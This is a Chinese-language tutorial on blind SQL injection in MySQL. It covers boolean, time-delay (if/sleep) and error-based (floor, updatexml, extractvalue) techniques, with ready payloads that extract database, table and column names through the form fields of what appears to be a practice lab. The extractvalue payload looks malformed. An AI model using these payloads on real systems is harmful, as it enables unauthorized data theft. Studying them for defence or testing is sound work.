WBE漏洞-SQL注入之报错盲注
WBE漏洞-SQL注入之查詢方式及報錯盲注
- 前言
- 涉及知識點
- SQL注入報錯盲注
- 基于布爾的SQL盲注-邏輯判斷
- 基于時間的SQL盲注-延時判斷
- 基于報錯的SQL盲注-報錯回顯
- floor
- updatexml
- extractvalue
前言
當進行SQL注入時,有很多注入會出現無回顯的情況,其中不回顯的原因可能是SQL語句查詢方式的問題導致,這個時候我們需要用到相關的報錯或盲注進行后續操作,同時作為手工注入時,提前了解或預知其SQL語句大概寫法也能更好地選擇對應的注入語句。
涉及知識點
select 查詢數據
在網站應用中進行數據顯示查詢效果
例: select * from news wher id=$id
insert 插入數據
在網站應用中進行用戶注冊添加等操作
例:insert into news(id,url,text) values(2,‘x’,’$t’)
delete 刪除數據
后臺管理里面刪除文章刪除用戶等操作
例:delete from news where id=$id
update 更新數據
會員或后臺中心數據同步或緩存等操作
例:update user set pwd=’$p’ where id=2 and username=‘admin’
order by 排列數據
一般結合表名或列名進行數據排序操作
例:select * from news order by $id
例:select id,name,price from news order by $order
重點理解:
我們可以通過以上查詢方式與網站應用的關系去猜測注入點產生地方或應用猜測到對方的SQL查詢方式。
新知識點:
xpath報錯注入(extractvalue和updatexml)
floor()知識
like ‘ro%’ #判斷ro或ro…是否成立
like ‘ro_’ #判斷ro+一個字符是否成立
regexp ‘[1-z]’ #匹配xiaodi及xiaodi…等
MySQL REGEXP:正則表達式查詢
if(條件,5,0) #條件成立,返回5,反之,返回0
sleep(5) #SQL語句延時執行5秒
mid(a,b,c) #從位置B開始,截取a字符串的c位,c可選,默認剩下
substr(a,b,c) #從位置B開始,截取a字符串的c位
left(database(),1) #left(a,b)從左側截取a的前b位
length(database())=8 #判斷數據庫database()名的長度ascii(x)=97 #判斷x的ascii碼是否等于97
SQL注入報錯盲注
盲注就是在注入過程中,獲取的數據不能回顯至前端頁面。此時,我們需要利用一些方法進行半段或者嘗試,這個過程稱之為盲注。我們可以知道盲注分為以下三類:
基于布爾的SQL盲注-邏輯判斷
(不需要回顯信息就能看到)(2)
regexp,like,ascii或ord,left,,mid
基于時間的SQL盲注-延時判斷
(不需要回顯信息就能看到)(3)
通過延遲進而加載頁面判斷猜想是否正確
sleep()延時函數
if(a,b,c)條件判斷函數
注入步驟
先用length(database())判斷當前數據庫長度
可以用bp進行參數爆破
猜數據庫名字
select if(database() like 'p%',sleep(5),0) from member limit 0,1;
要加limit 0,1噢,不能的話他會一個個數據去比對的
或用substr函數
select if(substr(database(),1,1)='p',sleep(5),0) from member limit 0,1;
再加個ascii函數,因為工具的暴力破解的參數都是基于數據的,所以用數字來判斷會好些
注意,可以用二分法進行比對,利用>符號判斷ascii,大于的話說明比112大,范圍在112-255之間,小于的話說明比112小,范圍在0-112之間
找數據庫名字的第二個字符
以此類推,找出數據庫完整名字
找表
select if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=104,sleep(5),0) from member limit 0,1;
更改substr(1,1)為substr(1,2)繼續找第一個數據表名字的第二個字符
更改limit 0,1為limit1,1繼續找第二個數據庫表
屬性列
select if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))=105,sleep(5),0) from member limit 0,1;其實以上手工是很難注入的,因為情況實在是太多了,可以進行半手動半工具進行爆破,也可以直接使用sqlmap工具進行爆破
and if(ascii(substr(database(),1,1))=115,sleep(5),1)–+
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(3),0)–+
if,sleep
基于報錯的SQL盲注-報錯回顯
(優先于選擇:1)
floor
1
username=x' or(select 1 from(select count(*),concat((select(select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or ' &password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit2
username=x' and(select 1 from(select count(*),concat((select(select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and ' &password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit有可能會出現如下錯誤可用第二種payload
Truncated incorrect DOUBLE value: 'x'核心payload
select 1 from(select count(*),concat((select(select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))b from information_schema.tables group by x)a需更換地方只有database(),其他為固定格式
逐一拆解代碼
臨時表a
select count(*),concat((select(select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))b from information_schema.tables group by x注意:select(concat0x7e,database(),0x7e)將返回的消息用~標注,方便查看,也是為了開發工具能夠一下識別出來,直接select database()也是可以的
updatexml
username=x ’ or updatexml(1,concat(0x7e,(version())),0) or ’ &password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit
extractvalue
username=x ’ or extractvalue(1,concat(0x7e,database())),0) or ’ &password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit
總結
以上是生活随笔為你收集整理的WBE漏洞-SQL注入之报错盲注的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Linux poll
- 下一篇: 电子书DRM破解